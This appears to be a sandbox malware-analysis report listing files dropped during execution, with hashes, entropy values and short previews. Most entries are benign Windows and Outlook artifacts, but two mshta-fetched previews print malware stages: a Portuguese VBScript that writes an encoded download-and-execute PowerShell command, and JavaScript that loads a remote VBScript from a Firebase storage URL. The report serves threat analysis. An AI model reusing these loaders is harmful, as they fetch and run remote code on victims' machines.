Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.0.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DFB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4818
Entropy (8bit):	4.524428583063461
Encrypted:	false
SSDEEP:	48:cvIwwtl8zsSe702I7VFJ5WS2Cfjkns3rm8M4JSNiSFI+q8goSlok2dd:uILf37GySPf3J5592dd
MD5:	558F6C5B77FE96DD9E4027DE12F3B508
SHA1:	D5723A3A4A4A85D44A8A5D433E4DB81716392D52
SHA-256:	AFEE9DE2423EF61F1582FCAE1662FDAC17F25CDCE2FEA9932294D5A4159A2599
SHA-512:	CB7F0347C84C29C46BBDE1A5087DF1A341567B572EA943DBC13F25B8A14E750DAD8962AEC724B8E865EA3CA5D4A09C4923BAD5B6E0E658222C7CB86D36BC2FC9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222971828" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMDATA64.DAT

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	254900
Entropy (8bit):	4.245807430982155
Encrypted:	false
SSDEEP:	3072:Oe/glsGgDCmiGu23qoQ8rt0Fvle+ssbdwy:T5tCmi2aW+ssbdw
MD5:	68353EB53817840BED062BAA5F2417BF
SHA1:	0144DC28B3F06B3AD30017BF7FA927B27056FAEE
SHA-256:	44D5B5B2250B1C0B8C65A850D3D858D4DD2C82DF157F27A230E9B9FB71F56786
SHA-512:	82DF72B035A08B216A632BE145C984142E82FAE4F769F51CF6058694DD8FFA279DCFF7E8F0E5E1FA03A4D0F19465FD0571996462231C8DF3FA29B6E7AFDAEB20
Malicious:	false
Preview:	TH02...... ......L......SM01........PP...L..........IPM.TaskRequest.Decline........h.......................h.......9............H..h.......................h............."gS....H..h.... ..................h....0..................h.......................h..............NS.......h....H..................h....P..................0....\........D&.............l.................2h.... ..................kc.o...................!h...................... h......................#h....8.................$h............D........."h.............j........'h......................1h......................0h....................../h.... ...............H..h....0.................-h....@.................+h....D........"gS.................... ..............FS..............FIPM.TaskRequest.Decline.Form.d..Standard.PM.Task Decline.PM.IPM.Microsoft.FolderDesign.FormsDescription................F.k..........dl..1111110000000000.icrMicrosoft.isThis form is used to decline a task request.........kf...... ..........&.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\outlook.exe_Rules.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	387968
Entropy (8bit):	5.163387790109449
Encrypted:	false
SSDEEP:	1536:zs3qRuCSKSzr37blLMKcKW56kOoFj6ckDp5xgTFRz0fTALWbDlh1Jv8P8u6uSivp:5SKS3djJv8P8u6uSivsUQK75IthyXV
MD5:	44FCD401A79B87F9874CE5B9A9665EC9
SHA1:	E5335FB2B2C9F5D6F5B61324A4260D78753606C8
SHA-256:	4DE2FD5669D4DE8FEE4BF1C9CAFB177FC5EE233154DCA3526A826CA37858CF0B
SHA-512:	9F9F19864B366A015EDF36302C782C181E229EBE7E88F35B4251457C12B706D511D152BDCC7B087129BA149CF5407C5EC442BEF0A14524036D35B595AAB582D4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?><Rules xmlns="urn:Rules"><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU" xmlns=""><S><Etw T="1" E="159" G="{02fd33df-f746-4a10-93a0-2bc6273bc8e4}" /><F T="2"><O T="AND"><L><O T="NE"><L><S T="1" F="Warning" /></L><R><V V="37" T="U32" /></R></O></L><R><O T="NE"><L><S T="1" F="Warning" /></L><R><V V="29" T="U32" /></R></O></R></O></F><TI T="3" I="10min" /><A T="4" E="TelemetrySuspend" /><A T="5" E="TelemetryShutdown" /></S><G I="true" R="TriggerOldest"><S T="2"><F N="RuleID" /><F N="RuleVersion" /><F N="Warning" /><F N="Info" /></S></G><C T="U32" I="0" O="false" N="ErrorCount"><C><S T="2" /></C></C><C T="U32" I="1" O="false" N="ErrorRuleId"><S T="2" F="RuleID" /></C><C T="U16" I="2" O="false" N="ErrorRuleVersion"><S T="2" F="RuleVersion" /></C><C T="U8" I="3" O="false" N="WarningInfo"><S T="2"

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09216609452072291
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpF/4llfll:l9F8E0/
MD5:	F138A66469C10D5761C6CBB36F2163C3
SHA1:	EEA136206474280549586923B7A4A3C6D5DB1E25
SHA-256:	C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
SHA-512:	9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
Malicious:	false
Preview:	SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13760166725504608
Encrypted:	false
SSDEEP:	3:7FEG2l+3HmS/FllkpMRgSWbNFl/sl+ltlslVlllfllyn:7+/lMmKg9bNFlEs1EP/C
MD5:	7A3E7001F7DB2A158DE27C709294B9FA
SHA1:	4667CC8EF2D4B6E93C9053F36C28595926572EBA
SHA-256:	8703B207F9990918523EBC52165E090EDF6CCD08C1D2544AC4AA4EE6F8A0AC64
SHA-512:	0AE6075C3381BF4D85BF5DA2E7378699A5F9FF959D1133D2EFC7EC2A259508A52E85FA2D4C64525012BE39B687FD892420BF1E17B230993E18B7BF2EC2813085
Malicious:	false
Preview:	.... .c.....R_Ig....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04474441261042196
Encrypted:	false
SSDEEP:	3:G4l29SvRG/iLWZ4Al29SvRG/iLWBX8lL9//Xlvlll1lllwlvlllglbXdbllAlldc:G4l29SvQl29Sv3L9XXPH4l942U
MD5:	3F0A666DCA67E351307A3D52FED36D14
SHA1:	0B69575A5A3E5C847844F01D67B894627965E223
SHA-256:	C0A47E8BCB46F43EA367B72E7C985FF4CB5665C66BBBBE274B024BB30D532E18
SHA-512:	1F06F7672D6AC08869A9BE104353055193348F49F3B9FD45F152787219E500C6FDAF5033BE68A23971B52F68166442EA5126BF44499A029796D094F6F09991AC
Malicious:	false
Preview:	..-.......................7..1..D.9\|....5......-.......................7..1..D.9\|....5............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.39501431216092925
Encrypted:	false
SSDEEP:	24:KeX/TQ3zRDGC3Ull7DBtDi4kZERD3lzqt8VtbDBtDi4kZERDcO:pLQ1p3Ull7DYMJzO8VFDYM
MD5:	573C1B101C741E923408AE9F43B373E6
SHA1:	A2A16B4CFC06B9270568C3893F02FCFD195352EA
SHA-256:	5930DBE6B5DF3071C38F66713E019E085DB65E27AF904FA00160382A51717A98
SHA-512:	CD3417A48B207098B31DA610FD42184A8BB162E27FE5456D256F20E26B16A686C6FF594FE10EAFD9562A290DA83FD0C6F976EB9065729C48D4DF920424B6865E
Malicious:	false
Preview:	7....-...........D.9\|.....G.a............D.9\|....j.V..qSQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8464023383576906
Encrypted:	false
SSDEEP:	48:uiTrlKxsxx47xl9Il8uwmrl0OxXmqzRC/LBkUaTEd1rc:vYfYzl0OxC/LBk/TD
MD5:	4359FB0200F03157AB989422EBB13BB9
SHA1:	637A0D508DF4E8335A95548763E3D08BAFB247E0
SHA-256:	23EF3EAA8174ECF752BE03B1D3878DF666A1C336AB8C5B84B1C3BA76C14DB326
SHA-512:	1EE6C72160ACE155C7AFFB07FF3B51B247A54A9B6161CAF561CB31D68256C3E1BD6103B49813F4188DF97494DDADE66931B2126DE88A0B324FE1B29AA4226D5D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.N.q.a.Z.V.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.X.j.7.p.E.H.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9994853991044894
Encrypted:	false
SSDEEP:	96:8Y/69lboX6BQ4YdRH5KnqpoZJF/Q3RzvPkZlaqixQLl:8B9M0gRH5KqmZ7uzkZl5ixGl
MD5:	31F40192EFE0B3918E40C4178007F922
SHA1:	CD2F6363BEAD6326D173CA24A32AECF22B947341
SHA-256:	CAFD3CBBE8926297B88D8BB82805D5A449B91C46FAC6AB6E464E3CE7ABD49E94
SHA-512:	A12720750CB330ACEC4BD3D0543D0BD574FB0C42319D4FA06181672EA56D08F5F4A071872D08730C87C2903038BAE3BCB5524C59A2DA56A11AC518CD29C390F3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".K.G.R.I.T.4.1.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.X.j.7.p.E.H.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\ldvb[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Unicode text, UTF-8 text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	1850
Entropy (8bit):	5.230198205567046
Encrypted:	false
SSDEEP:	48:20IvoeMlizR3WzMNz7yFyZ0DdaVAHAiLv:20IAHewM9c9DdIWp
MD5:	EEFBB9E4A9FD600D019CAC1535868014
SHA1:	D24A2C0F2B6732BFE9DE1C48E4AE6E11242948AA
SHA-256:	9E06D175C76B3457BBA2B4FBD688EDCAB82A5A55CFF9BE746D8FEFBB0B637AB4
SHA-512:	22537357F3436CFB20C97F05CC86A6B563783416A808323D6228BC7EE1C16A47AC6EE311014CDB2435D3B60E110DCBD1FF3781AE590F25A175F8D941FEE84E72
Malicious:	false
Preview:	' Gera um nome aleat.rio..Dim nomePasta..nomePasta = "Wins32Update_" ....' Define o caminho da nova pasta..Dim caminhoPasta..caminhoPasta = "C:\" & nomePasta....' Cria a nova pasta..Dim fso..Set fso = CreateObject("Scripting.FileSystemObject")....If Not fso.FolderExists(caminhoPasta) Then.. fso.CreateFolder(caminhoPasta).... ' Cria o primeiro arquivo dentro da nova pasta.. Dim nomeArquivo1.. nomeArquivo1 = caminhoPasta & "\A".... Dim arquivo1.. Set arquivo1 = fso.CreateTextFile(nomeArquivo1, True).. .. ' Conte.do do primeiro arquivo.. Dim conteudo1.. conteudo1 = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@11@10@27.@28@17@24@25/@21@21@2@3@1@0/@10@29@3') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1".... ' Escreve o conte.do no primeiro arquivo.. arquivo1.WriteLine conteudo1.. arquivo1.Clos

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\PNQRJTRMIB[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.091361160810583
Encrypted:	false
SSDEEP:	6:qY8Y8mgO9lVhnfdMw3/ElLZHZg8LVoNkD+f4FpNbvdMwdExo9LbDRWAcGk:AvuHnfyJZ5hpo+qf4/Nbv0x2DRWA3k
MD5:	54709A79E73BA9188B5CD0FE0AC88B4C
SHA1:	B7E26A0DBFAD4F6D05B2146FF54F78BAFADC7F67
SHA-256:	35B044697CDFDB64BA674326D5E13EBC4E1721E504D55CCF1716CEDBEB539FF8
SHA-512:	DB9D312493D3B40E998AD218CEC38C4C9074497187AABD317E0100F219F0FA775CE8DE3CB76B772C5B3CD10BA45FBF8DC2745FE072BA5484651F0CEA7FCAC7F3
Malicious:	false
Preview:	var scriptEle = document.createElement("script");..scriptEle.setAttribute("src", "https://firebasestorage.googleapis.com/v0/b/mdsarquitet.appspot.com/o/ldvb?alt=media&token=fb1e94a6-7e61-4419-a4ed-5bf4ae50cae1");..scriptEle.setAttribute("type", "text/vbscript");..document.getElementsByTagName('head')[0].appendChild(scriptEle);

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26328
Entropy (8bit):	5.049018369731122
Encrypted:	false
SSDEEP:	768:XtAHk6V3IpNBQkj2dYoeOdBWJFY4NKe1h4iUxgardFxYiqMfNZGth7tZ:XtAHk6V3CNBQkj2dYoeOdBWJFY4NKe17
MD5:	8A234757ED6430470005C843A75E0569
SHA1:	85E85EDD5474B27F3F142A81BFDE1912A19D27E1
SHA-256:	06EFF54471EB6E2B0DAAB1E2E3DFD021A316CF638C72D7F58838C01F59FC481D
SHA-512:	84FCE45D4DADFFBCCDE200F853306791AE47D0DD35CDB0F5871D4111508014B24432325D90741DF5267AA47B5343708637FBAED9029DC027D3F919712E794618
Malicious:	false
Preview:	PSMODULECACHE.'.....\|g.z......C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1........Get-OperationValidation........Invoke-OperationValidation..........=o.z..Q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1........Start-BitsTransfer........Set-BitsTransfer........Get-BitsTransfer........Resume-BitsTransfer........Add-BitsFile........Suspend-BitsTransfer........Complete-BitsTransfer........Remove-BitsTransfer............z..a...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DeliveryOptimization\DeliveryOptimization.psd1........Get-DeliveryOptimizationLog....&...Get-DOPercentageMaxForegroundBandwidth....&...Set-DOPercentageMaxBackgroundBandwidth........Set-DeliveryOptimizationStatus.... ...Delete-DeliveryOptimizationCache....&...Set-DOPercentageMaxForegroundBandwidth....#...Get-DeliveryOptimizationLogAnalysis........Get-DODownloadMode........Get-DOConfig.....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3744
Entropy (8bit):	5.444898613563103
Encrypted:	false
SSDEEP:	96:uAzlGHuvX9qrfIf47Kfi2J5Eo9AdrxtGdyU:P8HuwrfmjLL2w
MD5:	F453B5649679340454DB59FDEBF3A2B9
SHA1:	BCD797A8E8BBC4CCC7767E0E7573F326E99EF997
SHA-256:	34E14299FA24E7BEFC182C34CEFBA1F918C95BA9E66B4930BABCBDCFB6B8C5EC
SHA-512:	D6B1AB974C519579D2AF6AAC5F5F979E2D681A32CA5D979933E225669861B0EDCCB9801ADF46073DB515A491FCD5961EF0D8A026119E91E6B915F47E54E287C7
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4...............F;7..C..f.G..........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.8.................C}...C....n..B........Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1804
Entropy (8bit):	5.207795690898171
Encrypted:	false
SSDEEP:	48:fSHJSGfs4/ymI4RfoUefa+gZ9tK8NfNAoc+jIrW62aVn:KHIGH/vIIwLfMZ2KfA+jAW1aV
MD5:	5D8FB6FF0EE5C4BC22FDBEA2CF0B8A4E
SHA1:	6587DB814D568E49A75EDE9E2EBC4D3ADBD69208
SHA-256:	E3EF9A7940E414B58545575847E0BA4944CC05752FE77F41B7051003491494A2
SHA-512:	1D64C3C86CA80ACB27EE7119382A801F15D4C051D471E31F074F0662C38F8B34BF099235C73D1B831A6B737F4D30A5C960FF9C445E424A3CB39F61A4439D5BAD
Malicious:	false
Preview:	@...e...........................................................T...............n$....<@.{..uR........Microsoft.Management.Infrastructure.Native..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4..................%`99B....9...........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App_1734004653819275700_5C355550-BE4B-4997-8228-55B12E07A141.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.023148093694265248
Encrypted:	false
SSDEEP:	768:+mpk/BTzjsR/eBpNy0wXRWEvFj7teyxB0CBv:+meZTzjQ/e7Ny0wXcEvFjpe60CBv
MD5:	EDA8ABA794404495161901C0383E86FF
SHA1:	8EB630EB27172E49197C383B50AE0D6E5D75E759
SHA-256:	F2C38EC5DB65F7DCD939F2B1C59E46917BC3EE09A38DA737ADED29AED6A6E3AA
SHA-512:	44A6F2716E7FB85C39253A1F3BC4F8D9D0AB0ECC795E308CAD6ADC53F0B0D52DDBDA96B0BE42CC15DDFF50D985899C761230637F99F69345BB3CE9C95308FD3B
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/12/2024 11:57:34.245.OUTLOOK (0x1C34).0x1D00.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.MATS.ActionOfficeWin32","Flags":33777031581908737,"InternalSequenceNumber":37,"Time":"2024-12-12T11:57:34.245Z","Data.uploadid":"6B5F2AA1-5F72-459A-9249-21B07C8141AC","Data.eventtype":"authentication","Data.actiontype":"wam","Data.scenarioid":"20100810-622E-4A60-8CE0-2CF2C70E0DB0","Data.correlationid":"7FBDEACD-FA70-4BA2-AE91-48C4ABE1062C","Data.errorsource":"authsdk","Data.WAM_account_join_on_start":"not_joined","Data.scenarioname":"","Data.WAM_ui_visible":"false","Data.identityservice":"aad","Data.WAM_silent_code":"0","Data.WAM_is_cached":"0","Data.wamapi":"gettokensilently","Data.promptreasoncorrelationid":"","Data.authoutcome":"failed","Data.resource":"ResourceRedacted","Data.errordescription":"","Data.WAM_account_join_on_end":"not_joined","Data.WAM_api_error_code":"-895418367","Data.WAM_

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App_1734004653819876600_5C355550-BE4B-4997-8228-55B12E07A141.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_14326_20404-20241212T0657330489-7220.etl

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 134217728.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.478592550495794
Encrypted:	false
SSDEEP:	768:BYVyi2BclhcrTmnXY5YGAfWPWNWfWUjWgjMyh/bBV5TEe:Bqyi2BUK3eXY5YGA6jWgImw
MD5:	27460269E859B85CEADFE8E5CAD2272D
SHA1:	AD5AF3B05E01BC7846A1E40712F286AADB79D683
SHA-256:	8F42EC59AC280CFFDA73E2232F6DA500705645DED3D3800C4BB95A77AEFA60B1
SHA-512:	BBC7AB5355624B3789B7E24161A1FCC2CC6E70A1CED777EDDF2452127D9D68B8A1DE0A4B3CA1B0C70DC1D24A8F3712428678E704CEEFE27DEF50979E2AA9D8E2
Malicious:	false
